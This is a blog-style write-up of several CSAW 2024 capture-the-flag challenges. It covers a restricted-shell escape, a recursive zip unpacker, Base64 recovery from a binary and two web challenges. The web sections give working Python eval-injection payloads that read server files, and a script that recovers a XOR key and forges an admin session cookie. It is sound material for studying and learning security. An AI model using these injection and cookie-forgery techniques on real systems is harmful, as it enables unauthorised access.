Last updated: 23 Sep 24 10:52:31 (UTC)
CSAW 2024
CSAW 2024
This is a few write-ups of challenges i did during the CSAW 2024 edition, i didnt play it all the way through and only did one day on it.
I didnt really enjoy this CTF so i only played one day into it, still had some nice challenges.
Dividing into null
We get a shell with almost no commands, Some basic commands like “echo”, “cd”, printf" and “read” works. (even alias)
this is enough to find the flag
to list files :
echo */ or printf '%s\n' */.
echo */ or printf '%s\n' */.
to be faster we can do :
alias ls="printf '%s\n' */."
alias ls="printf '%s\n' */."
problem is that this does not display hidden files and since we cannot find the flag using this it means it is hidden, so we can use Bash to look for it.
for i in .*; do echo $i; done //("*" will list all the files, ".*" will list all the hidden files)
for i in .*; do echo $i; done
//("*" will list all the files, ".*" will list all the hidden files)
to read the flag we can again use Bash :
while read -r line; do echo "$line"; done < .flag
while read -r line; do echo "$line"; done < .flag
flag : csawctf{penguins_are_just_birds_with_tuxedos}
ZipZipZip
we get a zip file, inside 2 files a .txt and another .zip
the txt containes 4 char and the zip contains another 2 files.
this is basically a russian doll, to solve it we will use a little bit of scripting.
Note : this challenge was very annoying du to the sheer amount of zip files, i had to adapt my code because my WSL storage litterally got full while using the first version of the code. also 32795 zip files ? really ?? 😔
final script for unzipping :
#!/bin/bash chunknum=0 file_name="chunk_" chunk="${file_name}${chunknum}.zip" #the zip file name echo $chunk #debugging while [ -f ${chunk} ] do unzip ${chunk} rm ${chunk} #to save storage space let "chunknum+=1" chunk="${file_name}${chunknum}.zip" #the infinite zip file new name done echo "The End"
#!/bin/bash
chunknum=0
file_name="chunk_"
chunk="${file_name}${chunknum}.zip"
#the zip file name
echo $chunk
#debugging
while [ -f ${chunk} ]
do
unzip ${chunk}
rm ${chunk}
#to save storage space
let "chunknum+=1"
chunk="${file_name}${chunknum}.zip"
#the infinite zip file new name
done
echo "The End"
we run it and wait because there is a LOT of files.
I discovered that all this data is actually an image
i’m not even half done… gotta wait i guess 🗿
to make sure there is not problem with the extracted data (since i had to stop the program twice)
i made another script to retrieve all the data from the files that was extracted.
#!/bin/bash chunknum=0 file_name="chunk_" chunktxt="${file_name}${chunknum}.txt" #the txt extracted each time while [ -f ${chunktxt} ] do chunktxt="${file_name}${chunknum}.txt" #the txt extracted each time (before the increment cuz the number is same as the one beeing unzipped) let "chunknum+=1" IMAGE=${IMAGE}$(cat ${chunktxt}) done echo "${IMAGE}" > zipzipzip.txt
#!/bin/bash
chunknum=0
file_name="chunk_"
chunktxt="${file_name}${chunknum}.txt"
#the txt extracted each time
while [ -f ${chunktxt} ]
do
chunktxt="${file_name}${chunknum}.txt"
#the txt extracted each time (before the increment cuz the number is same as the one beeing unzipped)
let "chunknum+=1"
IMAGE=${IMAGE}$(cat ${chunktxt})
done
echo "${IMAGE}" > zipzipzip.txt
finally over :
flag : csawctf{ez_r3cur5iv3ne55_right7?}
Playing on the Backcourts
we get the source code of an app in python.
according to the source code the variable we want to access is
safetytime = 'csawctf{i_look_different_in_prod}'
safetytime = 'csawctf{i_look_different_in_prod}'
found that this part of the code was vulnerable to RCE :
@app.route('/get_eval', methods=['POST']) def get_eval() -> Flask.response_class: try: data = request.json expr = data['expr'] return jsonify(status='success', result=deep_eval(expr)) except Exception as e: return jsonify(status='error', reason=str(e)) def deep_eval(expr:str) -> str: try: nexpr = eval(expr) except Exception as e: return expr return deep_eval(nexpr)
@app.route('/get_eval', methods=['POST'])
def get_eval() -> Flask.response_class:
try:
data = request.json
expr = data['expr']
return jsonify(status='success', result=deep_eval(expr))
except Exception as e:
return jsonify(status='error', reason=str(e))
def deep_eval(expr:str) -> str:
try:
nexpr = eval(expr)
except Exception as e:
return expr
return deep_eval(nexpr)
we can injecting python code inside :
payload: "__import__('builtins').globals()['safetytime']" response: {"result":"csawctf{7h1s_1S_n07_7h3_FL49_y0u_4R3_l00K1n9_f0R}","status":"success"} # fake flag... so funny... # so i tried to read the leaderboard.txt file that is mentionned but never showed payload: "__import__('builtins').open('leaderboard.txt').read()" response: {"result":"1.kainzow \n2.wozniak \n3.beastmaster64 \n4.m4y4 \n5.smallfoot \n6.BBLDrizzy \n7.\u00af\\_(\u30c4)_/\u00af \n8.dvorak\n9.csawctf{5H1774K3_Mu5Hr00M5_1_fuX0R3d_Up_50n_0F_4_81207CH}\n10.funGuyQiu \n11.bidenJoe","status":"success"}
payload: "__import__('builtins').globals()['safetytime']"
response: {"result":"csawctf{7h1s_1S_n07_7h3_FL49_y0u_4R3_l00K1n9_f0R}","status":"success"}
# fake flag... so funny...
# so i tried to read the leaderboard.txt file that is mentionned but never showed
payload: "__import__('builtins').open('leaderboard.txt').read()"
response: {"result":"1.kainzow \n2.wozniak \n3.beastmaster64 \n4.m4y4 \n5.smallfoot \n6.BBLDrizzy \n7.\u00af\\_(\u30c4)_/\u00af \n8.dvorak\n9.csawctf{5H1774K3_Mu5Hr00M5_1_fuX0R3d_Up_50n_0F_4_81207CH}\n10.funGuyQiu \n11.bidenJoe","status":"success"}
flag : csawctf{5H1774K3_Mu5Hr00M5_1_fuX0R3d_Up_50n_0F_4_81207CH}
Baby Rev
we are given a binary file and we know that the flag is not well protected if we trust what the description says.
by using strings command we can find Base64 encoding :
Y3Nhd2N0H ZntOM3YzH cl9wcjA3H M2M3X3MzH bnMxNzF2H M18xbmYwH cm00NzEwH bl91czFuH Z19qdXM3H XzNuYzBkH MW5nIV8jH M25jMGQxH bmdfMXNfH bjB0XzNuH Y3J5cDcxH MG4hfQ==H
Y3Nhd2N0H
ZntOM3YzH
cl9wcjA3H
M2M3X3MzH
bnMxNzF2H
M18xbmYwH
cm00NzEwH
bl91czFuH
Z19qdXM3H
XzNuYzBkH
MW5nIV8jH
M25jMGQxH
bmdfMXNfH
bjB0XzNuH
Y3J5cDcxH
MG4hfQ==H
the H at the end is not part of it, by removing it and concatenating everything we get the flag
the flag : csawctf{N3v3r_pr073c7_s3ns171v3_1nf0rm4710n_us1ng_jus7_3nc0d1ng!_#3nc0d1ng_1s_n0t_3ncryp710n!}
Log Me In
we get the source code and a website on which we can register, login and see the pannel.
after looking at the source code it seems that to get the flag we need to have our “uid” equal “0” :
@pagebp.route('/user') def user(): cookie = request.cookies.get('info', None) name='hello' msg='world' if cookie == None: return render_template("user.html", display_name='Not Logged in!', special_message='Nah') userinfo = decode(cookie) if userinfo == None: return render_template("user.html", display_name='Error...', special_message='Nah') name = userinfo['displays'] msg = flag if userinfo['uid'] == 0 else "No special message at this time..." return render_template("user.html", display_name=name, special_message=msg)
@pagebp.route('/user')
def user():
cookie = request.cookies.get('info', None)
name='hello'
msg='world'
if cookie == None:
return render_template("user.html", display_name='Not Logged in!', special_message='Nah')
userinfo = decode(cookie)
if userinfo == None:
return render_template("user.html", display_name='Error...', special_message='Nah')
name = userinfo['displays']
msg = flag if userinfo['uid'] == 0 else "No special message at this time..."
return render_template("user.html", display_name=name, special_message=msg)
we can also see in this part that the information of the user is retrieved through the cookie
userinfo = decode(cookie)
userinfo = decode(cookie)
when we look in the source code we find that the cookie is created through a XOR of the user data as so :
user = { 'username':user.username, 'displays':user.displayname, 'uid':user.uid } token = encode(dict(user))
user = {
'username':user.username,
'displays':user.displayname,
'uid':user.uid
}
token = encode(dict(user))
here is the encode() function :
# Some cryptographic utilities def encode(status: dict) -> str: try: plaintext = json.dumps(status).encode() out = b'' for i,j in zip(plaintext, os.environ['ENCRYPT_KEY'].encode()): out += bytes([i^j]) return bytes.hex(out) except Exception as s: LOG(s) return None
# Some cryptographic utilities
def encode(status: dict) -> str:
try:
plaintext = json.dumps(status).encode()
out = b''
for i,j in zip(plaintext, os.environ['ENCRYPT_KEY'].encode()):
out += bytes([i^j])
return bytes.hex(out)
except Exception as s:
LOG(s)
return None
thus we know :
- the cookie is a XOR
- the informations that are in the cookie are known
- to get the flag we need to change our uid from 1 (guest) to 0 (admin)
for this we need to find the key of the XOR since we know the information and the XOR value we can reverse it and get the key.
import json import binascii # Example data user = { 'username': 'Mario', 'displays': 'Mario', 'uid': 1 } # Convert user dictionary to JSON string and encode to bytes plaintext = json.dumps(user).encode() ciphertext_hex = "48674c3731025651282f614a4d543b3316511d456e4141131e441918352b40515d194f3c26391117534754783a19165a7b6e7b14" ciphertext = binascii.unhexlify(ciphertext_hex) # XOR the plaintext with the ciphertext to recover the key key = bytes([p ^ c for p, c in zip(plaintext, ciphertext)]) print(key)
import json
import binascii
# Example data
user = {
'username': 'Mario',
'displays': 'Mario',
'uid': 1
}
# Convert user dictionary to JSON string and encode to bytes
plaintext = json.dumps(user).encode()
ciphertext_hex = "48674c3731025651282f614a4d543b3316511d456e4141131e441918352b40515d194f3c26391117534754783a19165a7b6e7b14"
ciphertext = binascii.unhexlify(ciphertext_hex)
# XOR the plaintext with the ciphertext to recover the key
key = bytes([p ^ c for p, c in zip(plaintext, ciphertext)])
print(key)
result : b’3E9DTp80EJCpmvvRd8rgBacww7itTR3sg9mqGKxxqktZOprxANJi’
we now have the XOR key so we can just generate our own token :
import json user = { 'username': 'Lawcky', 'displays': 'Lawcky', 'uid': 0 } key = b'3E9DTp80EJCpmvvRd8rgBacww7itTR3sg9mqGKxxqktZOprxANJi' def encode(status: dict) -> str: try: plaintext = json.dumps(status).encode() out = b'' for i, j in zip(plaintext, key): out += bytes([i ^ j]) # Return the XOR-ed result as a hexadecimal string return out.hex() except Exception as s: return "failed" print(encode(dict(user)))
import json
user = {
'username': 'Lawcky',
'displays': 'Lawcky',
'uid': 0
}
key = b'3E9DTp80EJCpmvvRd8rgBacww7itTR3sg9mqGKxxqktZOprxANJi'
def encode(status: dict) -> str:
try:
plaintext = json.dumps(status).encode()
out = b''
for i, j in zip(plaintext, key):
out += bytes([i ^ j])
# Return the XOR-ed result as a hexadecimal string
return out.hex()
except Exception as s:
return "failed"
print(encode(dict(user)))
result : 48674c3731025651282f614a4d543a33135b191e604d4355135e1a0438334a0045034d530b2a0f1b1a1256766f520711256c7049
then we just have to send it.
flag : csawctf{S3NS1T1V3_D4T4_ST0R3D_CL13NTS1D3D_B4D_B4D}